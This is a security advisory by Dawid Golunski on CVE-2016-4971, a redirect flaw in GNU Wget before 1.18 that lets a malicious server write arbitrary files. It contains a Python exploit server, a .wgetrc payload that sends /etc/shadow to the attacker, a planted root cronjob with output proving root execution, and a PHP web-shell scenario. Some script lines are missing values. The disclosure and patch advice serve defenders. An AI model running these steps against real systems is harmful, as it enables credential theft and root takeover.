GNU Wget Arbitrary File Upload / Potential Remote Code Execution

Type packetstorm
Reporter Dawid Golunski
Modified 2016-07-06T00:00:00


- Release date: 06.07.2016  
- Discovered by: Dawid Golunski  
- Severity: High  
- CVE-2016-4971  
GNU Wget < 1.18 Arbitrary File Upload / Potential RCE  
"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and   
FTP, the most widely-used Internet protocols.   
It is a non-interactive commandline tool, so it may easily be called from   
scripts, cron jobs, terminals without X-Windows support, etc.  
GNU Wget has many features to make retrieving large files or mirroring entire   
web or FTP sites easy  
GNU Wget before 1.18 when supplied with a malicious URL (to a malicious or   
compromised web server) can be tricked into saving an arbitrary remote file   
supplied by an attacker, with arbitrary contents and filename under   
the current directory and possibly other directories by writing to .wgetrc.  
Depending on the context in which wget is used, this can lead to remote code   
execution and even root privilege escalation if wget is run via a root cronjob   
as is often the case in many web application deployments.   
The vulnerability could also be exploited by well-positioned attackers within  
the network who are able to intercept/modify the network traffic.  
Because of lack of sufficient controls in wget, when user downloads a file   
with wget, such as:  
wget http://attackers-server/safe_file.txt  
an attacker who controls the server could make wget create an arbitrary file  
with an arbitrary contents and filename by issuing a crafted HTTP 30X Redirect   
containing FTP server reference in response to the victim's wget request.   
For example, if the attacker's server replies with the following response:  
HTTP/1.1 302 Found  
Cache-Control: private  
Content-Type: text/html; charset=UTF-8  
Location: ftp://attackers-server/.bash_profile  
Content-Length: 262  
Server: Apache  
wget will automatically follow the redirect and will download a malicious  
.bash_profile file from a malicious FTP server.   
It will fail to rename the file to the originally requested filename of   
'safe_file.txt' as it would normally do, in case of a redirect to another   
HTTP resource with a different name.   
Because of this vulnerability, an attacker is able to upload an arbitrary file  
with an arbitrary filename to the victim's current directory.  
Execution flow:  
victim@trusty:~$ wget --version | head -n1  
GNU Wget 1.17 built on linux-gnu.  
victim@trusty:~$ pwd  
victim@trusty:~$ ls  
victim@trusty:~$ wget http://attackers-server/safe-file.txt  
Resolving attackers-server...  
Connecting to attackers-server||:80... connected.  
HTTP request sent, awaiting response... 302 Found  
Location: [following]  
=> ‘.bash_profile’  
Connecting to connected.  
Logging in as anonymous ... Logged in!  
==> SYST ... done. ==> PWD ... done.  
==> TYPE I ... done. ==> CWD not needed.  
==> SIZE .bash_profile ... 55  
==> PASV ... done. ==> RETR .bash_profile ... done.  
Length: 55 (unauthoritative)  
.bash_profile 100%[=============================================================================================>] 55 --.-KB/s in 0s  
2016-02-19 04:50:37 (1.27 MB/s) - ‘.bash_profile’ saved [55]  
victim@trusty:~$ ls -l  
total 4  
-rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile  
This vulnerability will not work if extra options that force destination  
filename are specified as a paramter. Such as: -O /tmp/output  
It is however possible to exploit the issue with mirroring/recursive options  
enabled such as -r or -m.  
Another limitation is that attacker exploiting this vulnerability can only  
upload his malicious file to the current directory from which wget was run,   
or to a directory specified by -P option (directory_prefix option).  
This could however be enough to exploit wget run from home directory, or  
within web document root (in which case attacker could write malicious php files  
or .bash_profile files).  
The current directory limitation could also be bypassed by uploading a .wgetrc   
config file if wget was run from a home directory.  
By saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget  
settings such as destination directory for all downloaded files in future,  
as well as set a proxy setting to make future requests go through a malicious   
proxy server belonging to the attackers to which they could send further   
malicious responses.  
Here is a set of Wget settings that can be helpful to an attacker:  
dir_prefix = string  
Top of directory tree—the same as ‘-P string’.  
post_file = file  
Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as ‘--post-file=file’.  
recursive = on/off  
Recursive on/off—the same as ‘-r’.  
timestamping = on/off  
Allows to overwrite existing files.  
cut_dirs = n  
Ignore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option).  
HTTP Proxy server  
HTTPS Proxy server  
output_document = file  
Set the output filename—the same as ‘-O file’.  
input = file  
Read the URLs from string, like ‘-i file’.  
Issues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers.   
Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download.  
Full list of .wgetrc options can be found in:  
1) Cronjob with wget scenario  
Often wget is used inside cronjobs. By default cronjobs run within home   
directory of the cronjob owner.  
Such wget cronjobs are commonly used with many applications used to download   
new version of databases, requesting web scripts that perform scheduled tasks   
such as rebuilding indexes, cleaning caches etc.   
Here are a few example tutorials for Wordpress/Moodle/Joomla/Drupal found on   
the Internet with exploitable wget cronjobs:  
Such setup could be abused by attackers to upload .bash_profile file through  
wget vulnerability and run commands in the context of the victim user upon   
their next log-in.   
As cron runs priodically attackers, could also write out .wgetrc file in the   
first response and then write to /etc/cron.d/malicious-cron in the second.   
If a cronjob is run by root, this would give them an almost instant root code   
It is worth noting that if an attacker had access to local network they could   
potentially modify unencrypted HTTP traffic to inject malicious 30X Redirect   
responses to wget requests.  
This issue could also be exploited by attackers who have already gained   
access to the server through a web vulnerability to escalate their privileges.   
In many cases the cron jobs (as in examples above) are set up to request   
various web scripts e.g:   
If the file was writable by apache, and attacker had access to www-data/apache   
account, they could modify it to return malicious Location header and exploit   
root cronjob that runs the wget request in order to escalate their privileges   
to root.  
For simplicity we can assume that attacker already has control over the server   
that the victim sends the request to with wget.  
The root cronjob on the victim server may look as follows:  
root@victim:~# cat /etc/cron.d/update-database  
# Update database file every 2 minutes  
*/2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1  
In order to exploit this setup, attacker first prepares a malicious .wgetrc   
and starts an FTP server:  
attackers-server# mkdir /tmp/ftptest  
attackers-server# cd /tmp/ftptest  
attackers-server# cat <<_EOF_>.wgetrc  
post_file = /etc/shadow  
output_document = /etc/cron.d/wget-root-shell  
attackers-server# sudo pip install pyftpdlib  
attackers-server# python -m pyftpdlib -p21 -w  
At this point attacker can start an HTTP server which will exploit wget by  
sending malicious redirects to the victim wget's requests:  
---[ ]---  
#!/usr/bin/env python  
# Wget 1.18 < Arbitrary File Upload Exploit  
# Dawid Golunski  
# dawid( at )  
# CVE-2016-4971   
import SimpleHTTPServer  
import SocketServer  
import socket;  
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):  
def do_GET(self):  
# This takes care of sending .wgetrc  
print "We have a volunteer requesting " + self.path + " by GET :)\n"  
if "Wget" not in self.headers.getheader('User-Agent'):  
print "But it's not a Wget :( \n"  
self.wfile.write("Nothing to see here...")  
print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"  
new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )  
print "Sending redirect to %s \n"%(new_path)  
self.send_header('Location', new_path)  
def do_POST(self):  
# In here we will receive extracted file and install a PoC cronjob  
print "We have a volunteer requesting " + self.path + " by POST :)\n"  
if "Wget" not in self.headers.getheader('User-Agent'):  
print "But it's not a Wget :( \n"  
self.wfile.write("Nothing to see here...")  
content_len = int(self.headers.getheader('content-length', 0))  
post_body =  
print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)  
print "Sending back a cronjob script as a thank-you for the file..."   
print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"  
self.send_header('Content-type', 'text/plain')  
print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"  
FTP_HOST = ''  
FTP_PORT = 21  
ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"  
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)  
print "Ready? Is your FTP server running?"  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
result = sock.connect_ex((FTP_HOST, FTP_PORT))  
if result == 0:  
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)  
print "FTP is down :( Exiting."  
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT  
---[ eof ]---  
Attacker can run and wait a few minutes until the victim's server executes  
the aforementioned cronjob with wget.  
The output should look similar to:  
---[ output ]---  
attackers-server# python ./   
Ready? Is your FTP server running?  
FTP found open on Let's go then  
Serving wget exploit on port 80...  
We have a volunteer requesting /database.db by GET :)  
Uploading .wgetrc via ftp redirect vuln. It should land in /root - - [26/Feb/2016 15:03:54] "GET /database.db HTTP/1.1" 301 -  
Sending redirect to ftp://anonymous@   
We have a volunteer requesting /database.db by POST :)  
Received POST from wget, this should be the extracted /etc/shadow file:   
Sending back a cronjob script as a thank-you for the file...  
It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response) - - [26/Feb/2016 15:05:54] "POST /database.db HTTP/1.1" 200 -  
File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :)   
---[ output eof ]---  
As we can see .wgetrc got uploaded by the exploit. It has set the post_file  
setting to /etc/shadow.  
Therefore, on the next wget run, wget sent back shadow file to the attacker.  
It also saved the malicious cronjob script (ROOT_CRON variable) which should   
create a file named /root/hacked-via-wget, which we can verify on the victim's   
root@victim:~# cat /etc/cron.d/wget-root-shell   
* * * * * root /usr/bin/id > /root/hacked-via-wget   
root@victim:~# cat /root/hacked-via-wget   
uid=0(root) gid=0(root) groups=0(root)  
2) PHP web application scenario  
If wget is used within a PHP script e.g.:  
// Update geoip data  
system("wget -N -P geoip http://attackers-host/goeip.db");   
An attacker who manages to respond to the request could simply upload a PHP  
backdoor of:  
by using the wget-exploit script described in example 1.  
After the upload he could simply execute the script and their shell  
command by a GET request to:  
Affected versions of wget that connect to untrusted (or compromised) web   
servers could be tricked into uploading a file under an arbitrary name, or  
even path (if wget is run from a home directory).  
Depending on the context in which wget is used, this could lead to  
uploading a web shell and granting the attacker access remote access to the  
system, or privilege escalation. It could be possible for attackers to escalate  
to root user if wget is run via root cronjob as it is often the case in web   
application deployments and is recommended in some guides on the Internet.  
The vulnerability could also be exploited by well-positioned attackers within  
the networ who are able to intercept/modify the network traffic.  
All versions of Wget before the patched version of 1.18 are affected.  
Update to wget version 1.18 as advertised by the vendor at:  
Linux distributions should update their wget packages. It is recommended  
to update wget manually if an updated package is not available for your  
The vulnerability has been discovered by Dawid Golunski  
dawid (at) legalhackers (dot) com  
06.07.2016 - Advisory released  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise. I accept no  
responsibility for any damage caused by the use or misuse of this information.